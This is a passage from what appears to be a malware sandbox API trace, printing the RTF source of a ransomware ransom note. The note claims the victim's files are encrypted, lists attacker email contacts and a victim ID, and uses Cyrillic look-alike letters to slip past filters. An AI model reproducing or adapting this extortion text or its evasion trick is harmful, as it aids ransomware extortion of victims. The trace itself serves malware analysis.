\\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 